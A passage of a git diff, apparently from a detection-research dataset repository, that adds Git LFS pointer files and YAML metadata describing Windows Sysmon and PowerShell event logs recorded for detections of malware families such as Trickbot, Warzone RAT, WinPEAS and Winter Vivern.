windows-sysmon + path: /datasets/malware/ryuk/windows-sysmon-a2401abe-a479-490c-8381-cca7c64e9c5f.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/ryuk/windows-sysmon-a2401abe-a479-490c-8381-cca7c64e9c5f.log b/datasets/malware/ryuk/windows-sysmon-a2401abe-a479-490c-8381-cca7c64e9c5f.log new file mode 100644 index 000000000..b2bfc6c61 --- /dev/null +++ b/datasets/malware/ryuk/windows-sysmon-a2401abe-a479-490c-8381-cca7c64e9c5f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c30714b160f5e1bd11258c07bb342265bdfc6e4fed16124a91d1927168b98eaf +size 58049 diff --git a/datasets/malware/snakemalware/comadmin_windows-sysmon-515afa4d-72eb-41e6-90ed-51091f2cb372.log b/datasets/malware/snakemalware/comadmin_windows-sysmon-515afa4d-72eb-41e6-90ed-51091f2cb372.log new file mode 100644 index 000000000..68d40d706 --- /dev/null +++ b/datasets/malware/snakemalware/comadmin_windows-sysmon-515afa4d-72eb-41e6-90ed-51091f2cb372.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:5a1cd9e6295dd7865794afc915a9067529eb3f29eae829f26892b20017b6f126 +size 2301 diff --git a/datasets/malware/snakemalware/malware_snakemalware.yml b/datasets/malware/snakemalware/malware_snakemalware.yml new file mode 100644 index 000000000..7172aa90a --- /dev/null +++ b/datasets/malware/snakemalware/malware_snakemalware.yml @@ -0,0 +1,25 @@ +author: STRT +id: 515afa4d-72eb-41e6-90ed-51091f2cb372 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Snake Malware File + Modification Crmlog +environment: attack_range +directory: snakemalware +mitre_technique: [] +datasets: +- name: snake_crmlog-windows-sysmon + path: /datasets/malware/snakemalware/snake_crmlog-windows-sysmon-515afa4d-72eb-41e6-90ed-51091f2cb372.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: comadmin_windows-sysmon + path: /datasets/malware/snakemalware/comadmin_windows-sysmon-515afa4d-72eb-41e6-90ed-51091f2cb372.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: snake_malware_regblob-windows-sysmon + path: /datasets/malware/snakemalware/snake_malware_regblob-windows-sysmon-515afa4d-72eb-41e6-90ed-51091f2cb372.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: snake-service-windows-system + path: /datasets/malware/snakemalware/snake-service-windows-system-515afa4d-72eb-41e6-90ed-51091f2cb372.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:System diff --git a/datasets/malware/snakemalware/snake-service-windows-system-515afa4d-72eb-41e6-90ed-51091f2cb372.log b/datasets/malware/snakemalware/snake-service-windows-system-515afa4d-72eb-41e6-90ed-51091f2cb372.log new file mode 100644 index 000000000..8378942bf --- /dev/null +++ b/datasets/malware/snakemalware/snake-service-windows-system-515afa4d-72eb-41e6-90ed-51091f2cb372.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1e5bcdedfa3cd4ec0a0004c925d28cfc5124e761675abb9e8c016732fdfdf452 +size 3087 diff --git a/datasets/malware/snakemalware/snake_crmlog-windows-sysmon-515afa4d-72eb-41e6-90ed-51091f2cb372.log b/datasets/malware/snakemalware/snake_crmlog-windows-sysmon-515afa4d-72eb-41e6-90ed-51091f2cb372.log new file mode 100644 index 000000000..69c8c4a84 --- /dev/null +++ b/datasets/malware/snakemalware/snake_crmlog-windows-sysmon-515afa4d-72eb-41e6-90ed-51091f2cb372.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:27f4f9c6025b9431931f9480be2e753f0de3d4af710bf48724678f10442ea7a6 +size 21722 diff --git a/datasets/malware/snakemalware/snake_malware_regblob-windows-sysmon-515afa4d-72eb-41e6-90ed-51091f2cb372.log b/datasets/malware/snakemalware/snake_malware_regblob-windows-sysmon-515afa4d-72eb-41e6-90ed-51091f2cb372.log new file mode 100644 index 000000000..5f7c1150f --- /dev/null +++ b/datasets/malware/snakemalware/snake_malware_regblob-windows-sysmon-515afa4d-72eb-41e6-90ed-51091f2cb372.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:511c1e9219500307162e8a22318a0e48f2aec0fb7a6ce0fe87efea7101dc98ef +size 2158 diff --git a/datasets/malware/swift_slicer/malware_swift_slicer.yml b/datasets/malware/swift_slicer/malware_swift_slicer.yml new file mode 100644 index 000000000..6cd1b4536 --- /dev/null +++ b/datasets/malware/swift_slicer/malware_swift_slicer.yml @@ -0,0 +1,13 @@ +author: STRT +id: 011382d7-fdc3-4c6a-ada1-4db504ccf27a +date: '2026-07-11' +description: Curated attack data generated for detection Windows Data Destruction + Recursive Exec Files Deletion +environment: attack_range +directory: swift_slicer +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/swift_slicer/sysmon-011382d7-fdc3-4c6a-ada1-4db504ccf27a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/swift_slicer/sysmon-011382d7-fdc3-4c6a-ada1-4db504ccf27a.log b/datasets/malware/swift_slicer/sysmon-011382d7-fdc3-4c6a-ada1-4db504ccf27a.log new file mode 100644 index 000000000..63f40b4aa --- /dev/null +++ b/datasets/malware/swift_slicer/sysmon-011382d7-fdc3-4c6a-ada1-4db504ccf27a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6d0598cc810f7683fdf4e3e28f278f3d2b28c8ef3318a605537ba1ef38588a43 +size 3229818 diff --git a/datasets/malware/trickbot/infection/trickbot_infection.yml b/datasets/malware/trickbot/infection/trickbot_infection.yml new file mode 100644 index 000000000..4b6ea3723 --- /dev/null +++ b/datasets/malware/trickbot/infection/trickbot_infection.yml @@ -0,0 +1,13 @@ +author: STRT +id: 523d8383-ec57-4d66-a995-421b66b99de1 +date: '2026-07-13' +description: Curated attack data generated for detection Powershell Remote Thread + To Known Windows Process +environment: attack_range +directory: infection +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/malware/trickbot/infection/windows-sysmon-523d8383-ec57-4d66-a995-421b66b99de1.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/trickbot/infection/windows-sysmon-523d8383-ec57-4d66-a995-421b66b99de1.log b/datasets/malware/trickbot/infection/windows-sysmon-523d8383-ec57-4d66-a995-421b66b99de1.log new file mode 100644 index 000000000..c999bf56a --- /dev/null +++ b/datasets/malware/trickbot/infection/windows-sysmon-523d8383-ec57-4d66-a995-421b66b99de1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7ce924e2f6a37a48f189c5430aec888558408f62fea43396b4efe1510485f1fe +size 995 diff --git a/datasets/malware/trickbot/namedpipe/trickbot_namedpipe.yml b/datasets/malware/trickbot/namedpipe/trickbot_namedpipe.yml new file mode 100644 index 000000000..daa4fe896 --- /dev/null +++ b/datasets/malware/trickbot/namedpipe/trickbot_namedpipe.yml @@ -0,0 +1,12 @@ +author: STRT +id: 6ccbf163-cd48-46eb-880b-306830d09bc9 +date: '2026-07-11' +description: Curated attack data generated for detection Trickbot Named Pipe +environment: attack_range +directory: namedpipe +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/malware/trickbot/namedpipe/windows-sysmon-6ccbf163-cd48-46eb-880b-306830d09bc9.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/trickbot/namedpipe/windows-sysmon-6ccbf163-cd48-46eb-880b-306830d09bc9.log b/datasets/malware/trickbot/namedpipe/windows-sysmon-6ccbf163-cd48-46eb-880b-306830d09bc9.log new file mode 100644 index 000000000..538f47f02 --- /dev/null +++ b/datasets/malware/trickbot/namedpipe/windows-sysmon-6ccbf163-cd48-46eb-880b-306830d09bc9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9ea42137666765bc1282aada520538ffa0a4d653d0733dad2e1fde6f021c2210 +size 986 diff --git a/datasets/malware/trickbot/spear_phish/trickbot_spear_phish.yml b/datasets/malware/trickbot/spear_phish/trickbot_spear_phish.yml new file mode 100644 index 000000000..a92cc31c1 --- /dev/null +++ b/datasets/malware/trickbot/spear_phish/trickbot_spear_phish.yml @@ -0,0 +1,13 @@ +author: STRT +id: 6b9effcf-18c5-40a9-a8c5-b95fbc9efa4e +date: '2026-07-11' +description: Curated attack data generated for detection Mshta spawning Rundll32 OR + Regsvr32 Process +environment: attack_range +directory: spear_phish +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/malware/trickbot/spear_phish/windows-sysmon-6b9effcf-18c5-40a9-a8c5-b95fbc9efa4e.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/trickbot/spear_phish/windows-sysmon-6b9effcf-18c5-40a9-a8c5-b95fbc9efa4e.log b/datasets/malware/trickbot/spear_phish/windows-sysmon-6b9effcf-18c5-40a9-a8c5-b95fbc9efa4e.log new file mode 100644 index 000000000..1f9d83c8e --- /dev/null +++ b/datasets/malware/trickbot/spear_phish/windows-sysmon-6b9effcf-18c5-40a9-a8c5-b95fbc9efa4e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:83f145af21fb01a0754d95093bd9cf5d267730a2c7bb91b2a593f86ecd7f0942 +size 3856 diff --git a/datasets/malware/vilsel/malware_vilsel.yml b/datasets/malware/vilsel/malware_vilsel.yml new file mode 100644 index 000000000..17f6fa5f0 --- /dev/null +++ b/datasets/malware/vilsel/malware_vilsel.yml @@ -0,0 +1,12 @@ +author: STRT +id: c3d178b8-0a1a-478d-9ee6-88f8e2f31a39 +date: '2026-07-11' +description: Curated attack data generated for detection CSC Net On The Fly Compilation +environment: attack_range +directory: vilsel +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/vilsel/sysmon-c3d178b8-0a1a-478d-9ee6-88f8e2f31a39.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/vilsel/sysmon-c3d178b8-0a1a-478d-9ee6-88f8e2f31a39.log b/datasets/malware/vilsel/sysmon-c3d178b8-0a1a-478d-9ee6-88f8e2f31a39.log new file mode 100644 index 000000000..ba129535b --- /dev/null +++ b/datasets/malware/vilsel/sysmon-c3d178b8-0a1a-478d-9ee6-88f8e2f31a39.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f955f9d85c99478164de38c8c3b222f97c200621b07e00962adb9c7f12bcb6cf +size 1939 diff --git a/datasets/malware/warzone_rat/maxconnectionperserver/registry_event-3d9c530a-0e5a-43b6-93d0-8f44bb5e0ddc.log b/datasets/malware/warzone_rat/maxconnectionperserver/registry_event-3d9c530a-0e5a-43b6-93d0-8f44bb5e0ddc.log new file mode 100644 index 000000000..91ecabb25 --- /dev/null +++ b/datasets/malware/warzone_rat/maxconnectionperserver/registry_event-3d9c530a-0e5a-43b6-93d0-8f44bb5e0ddc.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:014f937d67d6ccba5beac1e721ff970b0ccff7c46725e9ae39d060ed090d394e +size 4668 diff --git a/datasets/malware/warzone_rat/maxconnectionperserver/warzone_rat_maxconnectionperserver.yml b/datasets/malware/warzone_rat/maxconnectionperserver/warzone_rat_maxconnectionperserver.yml new file mode 100644 index 000000000..982617b84 --- /dev/null +++ b/datasets/malware/warzone_rat/maxconnectionperserver/warzone_rat_maxconnectionperserver.yml @@ -0,0 +1,12 @@ +author: STRT +id: 3d9c530a-0e5a-43b6-93d0-8f44bb5e0ddc +date: '2026-07-11' +description: Curated attack data generated for detection Windows Modify Registry MaxConnectionPerServer +environment: attack_range +directory: maxconnectionperserver +mitre_technique: [] +datasets: +- name: registry_event + path: /datasets/malware/warzone_rat/maxconnectionperserver/registry_event-3d9c530a-0e5a-43b6-93d0-8f44bb5e0ddc.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/warzone_rat/pkgmgr_uac_bypass/pkgmgr_create_file-cdcc0503-50e4-4216-9216-a4131d61d3bf.log b/datasets/malware/warzone_rat/pkgmgr_uac_bypass/pkgmgr_create_file-cdcc0503-50e4-4216-9216-a4131d61d3bf.log new file mode 100644 index 000000000..260498bbe --- /dev/null +++ b/datasets/malware/warzone_rat/pkgmgr_uac_bypass/pkgmgr_create_file-cdcc0503-50e4-4216-9216-a4131d61d3bf.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:466c9d07171ee1cf2b437d1420f6d6ab34e6269d864ecdfb050ee28f65a5d5cc +size 5958 diff --git a/datasets/malware/warzone_rat/pkgmgr_uac_bypass/warzone_rat_pkgmgr_uac_bypass.yml b/datasets/malware/warzone_rat/pkgmgr_uac_bypass/warzone_rat_pkgmgr_uac_bypass.yml new file mode 100644 index 000000000..9ee1d0a08 --- /dev/null +++ b/datasets/malware/warzone_rat/pkgmgr_uac_bypass/warzone_rat_pkgmgr_uac_bypass.yml @@ -0,0 +1,13 @@ +author: STRT +id: cdcc0503-50e4-4216-9216-a4131d61d3bf +date: '2026-07-11' +description: Curated attack data generated for detection Windows Bypass UAC via Pkgmgr + Tool +environment: attack_range +directory: pkgmgr_uac_bypass +mitre_technique: [] +datasets: +- name: pkgmgr_create_file + path: /datasets/malware/warzone_rat/pkgmgr_uac_bypass/pkgmgr_create_file-cdcc0503-50e4-4216-9216-a4131d61d3bf.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/warzone_rat/unsigned_dll_loaded/loaded_unsigned_dll-385bdba1-fe27-4e4b-ad4f-8f3d02bc667d.log b/datasets/malware/warzone_rat/unsigned_dll_loaded/loaded_unsigned_dll-385bdba1-fe27-4e4b-ad4f-8f3d02bc667d.log new file mode 100644 index 000000000..364a44596 --- /dev/null +++ b/datasets/malware/warzone_rat/unsigned_dll_loaded/loaded_unsigned_dll-385bdba1-fe27-4e4b-ad4f-8f3d02bc667d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:42f8da33c06b97f4d1bd77669accf7771ce3ecd86d8315fa1b44571456c08be5 +size 4260 diff --git a/datasets/malware/warzone_rat/unsigned_dll_loaded/warzone_rat_unsigned_dll_loaded.yml b/datasets/malware/warzone_rat/unsigned_dll_loaded/warzone_rat_unsigned_dll_loaded.yml new file mode 100644 index 000000000..37a5d8cc5 --- /dev/null +++ b/datasets/malware/warzone_rat/unsigned_dll_loaded/warzone_rat_unsigned_dll_loaded.yml @@ -0,0 +1,12 @@ +author: STRT +id: 385bdba1-fe27-4e4b-ad4f-8f3d02bc667d +date: '2026-07-11' +description: Curated attack data generated for detection Windows Unsigned DLL Side-Loading +environment: attack_range +directory: unsigned_dll_loaded +mitre_technique: [] +datasets: +- name: loaded_unsigned_dll + path: /datasets/malware/warzone_rat/unsigned_dll_loaded/loaded_unsigned_dll-385bdba1-fe27-4e4b-ad4f-8f3d02bc667d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/winpeas/malware_winpeas.yml b/datasets/malware/winpeas/malware_winpeas.yml new file mode 100644 index 000000000..7c0429f25 --- /dev/null +++ b/datasets/malware/winpeas/malware_winpeas.yml @@ -0,0 +1,13 @@ +author: STRT +id: a743e557-da36-4984-8bf3-32fabbad0ecc +date: '2026-07-11' +description: Curated attack data generated for detection Windows Cached Domain Credentials + Reg Query +environment: attack_range +directory: winpeas +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/winpeas/sysmon-a743e557-da36-4984-8bf3-32fabbad0ecc.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/winpeas/powershell/windows-powershell-xml2-8b8e0bbd-5f5a-475f-9049-3a7105c3549c.log b/datasets/malware/winpeas/powershell/windows-powershell-xml2-8b8e0bbd-5f5a-475f-9049-3a7105c3549c.log new file mode 100644 index 000000000..734522777 --- /dev/null +++ b/datasets/malware/winpeas/powershell/windows-powershell-xml2-8b8e0bbd-5f5a-475f-9049-3a7105c3549c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:35fa801d2aba92e0d34e6ff8fe951b6e29724a3208d5dc6132563acfb87c1997 +size 938 diff --git a/datasets/malware/winpeas/powershell/winpeas_powershell.yml b/datasets/malware/winpeas/powershell/winpeas_powershell.yml new file mode 100644 index 000000000..c7314a50a --- /dev/null +++ b/datasets/malware/winpeas/powershell/winpeas_powershell.yml @@ -0,0 +1,13 @@ +author: STRT +id: 8b8e0bbd-5f5a-475f-9049-3a7105c3549c +date: '2026-07-11' +description: Curated attack data generated for detection Windows ClipBoard Data via + Get-ClipBoard +environment: attack_range +directory: powershell +mitre_technique: [] +datasets: +- name: windows-powershell-xml2 + path: /datasets/malware/winpeas/powershell/windows-powershell-xml2-8b8e0bbd-5f5a-475f-9049-3a7105c3549c.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/malware/winpeas/sysmon-a743e557-da36-4984-8bf3-32fabbad0ecc.log b/datasets/malware/winpeas/sysmon-a743e557-da36-4984-8bf3-32fabbad0ecc.log new file mode 100644 index 000000000..f212b3ca8 --- /dev/null +++ b/datasets/malware/winpeas/sysmon-a743e557-da36-4984-8bf3-32fabbad0ecc.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:496141a6325422c9562ce3d17eb74acec929581b62e30ce728d43cc1287ba364 +size 5943 diff --git a/datasets/malware/winpeas/winpeas_cmdkeylist/cmdkey-sysmon-7fade508-37c9-4461-912d-a34b2acc9291.log b/datasets/malware/winpeas/winpeas_cmdkeylist/cmdkey-sysmon-7fade508-37c9-4461-912d-a34b2acc9291.log new file mode 100644 index 000000000..14ee4f410 --- /dev/null +++ b/datasets/malware/winpeas/winpeas_cmdkeylist/cmdkey-sysmon-7fade508-37c9-4461-912d-a34b2acc9291.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:994506c80a916ed0c429d016e12fe5083b81be8e57bc173503acf432b19e18cd +size 3946 diff --git a/datasets/malware/winpeas/winpeas_cmdkeylist/winpeas_winpeas_cmdkeylist.yml b/datasets/malware/winpeas/winpeas_cmdkeylist/winpeas_winpeas_cmdkeylist.yml new file mode 100644 index 000000000..2fa577de3 --- /dev/null +++ b/datasets/malware/winpeas/winpeas_cmdkeylist/winpeas_winpeas_cmdkeylist.yml @@ -0,0 +1,13 @@ +author: STRT +id: 7fade508-37c9-4461-912d-a34b2acc9291 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Credentials from + Password Stores Query +environment: attack_range +directory: winpeas_cmdkeylist +mitre_technique: [] +datasets: +- name: cmdkey-sysmon + path: /datasets/malware/winpeas/winpeas_cmdkeylist/cmdkey-sysmon-7fade508-37c9-4461-912d-a34b2acc9291.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/winpeas/winpeas_fsutil/fsutil-fsinfo-sysmon-ab6fbedb-99be-46a4-b334-10ee3477f477.log b/datasets/malware/winpeas/winpeas_fsutil/fsutil-fsinfo-sysmon-ab6fbedb-99be-46a4-b334-10ee3477f477.log new file mode 100644 index 000000000..9b4b0c161 --- /dev/null +++ b/datasets/malware/winpeas/winpeas_fsutil/fsutil-fsinfo-sysmon-ab6fbedb-99be-46a4-b334-10ee3477f477.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3a0b01252e95deb0ead87c44a206338388469c63eb1cabb05c387da5dec66b92 +size 1913 diff --git a/datasets/malware/winpeas/winpeas_fsutil/winpeas_winpeas_fsutil.yml b/datasets/malware/winpeas/winpeas_fsutil/winpeas_winpeas_fsutil.yml new file mode 100644 index 000000000..e1449c94d --- /dev/null +++ b/datasets/malware/winpeas/winpeas_fsutil/winpeas_winpeas_fsutil.yml @@ -0,0 +1,13 @@ +author: STRT +id: ab6fbedb-99be-46a4-b334-10ee3477f477 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Information Discovery + Fsutil +environment: attack_range +directory: winpeas_fsutil +mitre_technique: [] +datasets: +- name: fsutil-fsinfo-sysmon + path: /datasets/malware/winpeas/winpeas_fsutil/fsutil-fsinfo-sysmon-ab6fbedb-99be-46a4-b334-10ee3477f477.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/winpeas/winpeas_search_private_key/dir-private-sysmon-9bc1ad21-a0f8-48db-a8e7-a92048ea0d7c.log b/datasets/malware/winpeas/winpeas_search_private_key/dir-private-sysmon-9bc1ad21-a0f8-48db-a8e7-a92048ea0d7c.log new file mode 100644 index 000000000..6206df5d8 --- /dev/null +++ b/datasets/malware/winpeas/winpeas_search_private_key/dir-private-sysmon-9bc1ad21-a0f8-48db-a8e7-a92048ea0d7c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3142ac7250f170e39e8ee5fcd017b44b2e6478a9fe1c7299c49b0015039e9ab7 +size 11340 diff --git a/datasets/malware/winpeas/winpeas_search_private_key/winpeas_winpeas_search_private_key.yml b/datasets/malware/winpeas/winpeas_search_private_key/winpeas_winpeas_search_private_key.yml new file mode 100644 index 000000000..b6bd1d419 --- /dev/null +++ b/datasets/malware/winpeas/winpeas_search_private_key/winpeas_winpeas_search_private_key.yml @@ -0,0 +1,12 @@ +author: STRT +id: 9bc1ad21-a0f8-48db-a8e7-a92048ea0d7c +date: '2026-07-11' +description: Curated attack data generated for detection Windows Private Keys Discovery +environment: attack_range +directory: winpeas_search_private_key +mitre_technique: [] +datasets: +- name: dir-private-sysmon + path: /datasets/malware/winpeas/winpeas_search_private_key/dir-private-sysmon-9bc1ad21-a0f8-48db-a8e7-a92048ea0d7c.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/winpeas/winpeas_search_pwd/query-putty-sysmon-9d3c3e1f-893c-415a-86ad-64f85b847ceb.log b/datasets/malware/winpeas/winpeas_search_pwd/query-putty-sysmon-9d3c3e1f-893c-415a-86ad-64f85b847ceb.log new file mode 100644 index 000000000..b47248534 --- /dev/null +++ b/datasets/malware/winpeas/winpeas_search_pwd/query-putty-sysmon-9d3c3e1f-893c-415a-86ad-64f85b847ceb.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:73380c561c6f3053d83c4e6da8dc415fb28cb0f2a448e71158d1949d1152bb52 +size 13759 diff --git a/datasets/malware/winpeas/winpeas_search_pwd/winpeas_winpeas_search_pwd.yml b/datasets/malware/winpeas/winpeas_search_pwd/winpeas_winpeas_search_pwd.yml new file mode 100644 index 000000000..fc9ef7db1 --- /dev/null +++ b/datasets/malware/winpeas/winpeas_search_pwd/winpeas_winpeas_search_pwd.yml @@ -0,0 +1,13 @@ +author: STRT +id: 9d3c3e1f-893c-415a-86ad-64f85b847ceb +date: '2026-07-11' +description: Curated attack data generated for detection Windows Credentials in Registry + Reg Query +environment: attack_range +directory: winpeas_search_pwd +mitre_technique: [] +datasets: +- name: query-putty-sysmon + path: /datasets/malware/winpeas/winpeas_search_pwd/query-putty-sysmon-9d3c3e1f-893c-415a-86ad-64f85b847ceb.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/winpeas/winpeas_search_pwd_db/dir-db-sysmon-2da44d33-559b-43ca-85b5-0fbb6beb787d.log b/datasets/malware/winpeas/winpeas_search_pwd_db/dir-db-sysmon-2da44d33-559b-43ca-85b5-0fbb6beb787d.log new file mode 100644 index 000000000..bbb96c36a --- /dev/null +++ b/datasets/malware/winpeas/winpeas_search_pwd_db/dir-db-sysmon-2da44d33-559b-43ca-85b5-0fbb6beb787d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:901ae07769f5f22a14fbfa7ccdea76303f8d81732ad65e2d8bb1137a3862d84e +size 5293 diff --git a/datasets/malware/winpeas/winpeas_search_pwd_db/winpeas_winpeas_search_pwd_db.yml b/datasets/malware/winpeas/winpeas_search_pwd_db/winpeas_winpeas_search_pwd_db.yml new file mode 100644 index 000000000..9e69d2d1d --- /dev/null +++ b/datasets/malware/winpeas/winpeas_search_pwd_db/winpeas_winpeas_search_pwd_db.yml @@ -0,0 +1,13 @@ +author: STRT +id: 2da44d33-559b-43ca-85b5-0fbb6beb787d +date: '2026-07-11' +description: Curated attack data generated for detection Windows Password Managers + Discovery +environment: attack_range +directory: winpeas_search_pwd_db +mitre_technique: [] +datasets: +- name: dir-db-sysmon + path: /datasets/malware/winpeas/winpeas_search_pwd_db/dir-db-sysmon-2da44d33-559b-43ca-85b5-0fbb6beb787d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/winter-vivern/pwh_exfiltration/windows-powershell-xml-128474b8-a321-4a86-ba9a-564ee6f50907.log b/datasets/malware/winter-vivern/pwh_exfiltration/windows-powershell-xml-128474b8-a321-4a86-ba9a-564ee6f50907.log new file mode 100644 index 000000000..7ee6b0e2f --- /dev/null +++ b/datasets/malware/winter-vivern/pwh_exfiltration/windows-powershell-xml-128474b8-a321-4a86-ba9a-564ee6f50907.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:265cb308639f82dad2b071cf872f2062865d8eb7be36aa5443178fba9a094934 +size 1868 diff --git a/datasets/malware/winter-vivern/pwh_exfiltration/winter-vivern_pwh_exfiltration.yml b/datasets/malware/winter-vivern/pwh_exfiltration/winter-vivern_pwh_exfiltration.yml new file mode 100644 index 000000000..c92a5b5ee --- /dev/null +++ b/datasets/malware/winter-vivern/pwh_exfiltration/winter-vivern_pwh_exfiltration.yml @@ -0,0 +1,13 @@ +author: STRT +id: 128474b8-a321-4a86-ba9a-564ee6f50907 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Exfiltration Over + C2 Via Invoke RestMethod +environment: attack_range +directory: pwh_exfiltration +mitre_technique: [] +datasets: +- name: windows-powershell-xml + path: /datasets/malware/winter-vivern/pwh_exfiltration/windows-powershell-xml-128474b8-a321-4a86-ba9a-564ee6f50907.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/malware/winter-vivern/pwh_uploadstring/windows-powershell-xml-dc4cc100-bd75-466f-8e6a-031324d48925.log b/datasets/malware/winter-vivern/pwh_uploadstring/windows-powershell-xml-dc4cc100-bd75-466f-8e6a-031324d48925.log new file mode 100644 index 000000000..9adee1c57 --- /dev/null +++ b/datasets/malware/winter-vivern/pwh_uploadstring/windows-powershell-xml-dc4cc100-bd75-466f-8e6a-031324d48925.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8aa150e75186af076c9b775b1cee591bc1450f79101526702b145de7d69ab24a +size 3407 diff --git a/datasets/malware/winter-vivern/pwh_uploadstring/winter-vivern_pwh_uploadstring.yml b/datasets/malware/winter-vivern/pwh_uploadstring/winter-vivern_pwh_uploadstring.yml new file mode 100644 index 000000000..b7764891a --- /dev/null +++ b/datasets/malware/winter-vivern/pwh_uploadstring/winter-vivern_pwh_uploadstring.yml @@ -0,0 +1,13 @@ +author: STRT +id: dc4cc100-bd75-466f-8e6a-031324d48925 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Exfiltration Over + C2 Via Powershell UploadString +environment: attack_range +directory: pwh_uploadstring +mitre_technique: [] +datasets: +- name: windows-powershell-xml + path: /datasets/malware/winter-vivern/pwh_uploadstring/windows-powershell-xml-dc4cc100-bd75-466f-8e6a-031324d48925.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/malware/winter-vivern/scheduledtask/sysmon-fda06166-78cf-46e5-9427-f677f9bad664.log b/datasets/malware/winter-vivern/scheduledtask/sysmon-fda06166-78cf-46e5-9427-f677f9bad664.log new file mode 100644 index 000000000..cf4385e8c --- /dev/null +++ b/datasets/malware/winter-vivern/scheduledtask/sysmon-fda06166-78cf-46e5-9427-f677f9bad664.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b10408befe812fcd74bd654e5454c88fe11b7f95740f92cf4dc00209cfa60ac3 +size 2083 diff --git a/datasets/malware/winter-vivern/scheduledtask/winter-vivern_scheduledtask.yml b/datasets/malware/winter-vivern/scheduledtask/winter-vivern_scheduledtask.yml new file mode 100644 index 000000000..5dd98097a --- 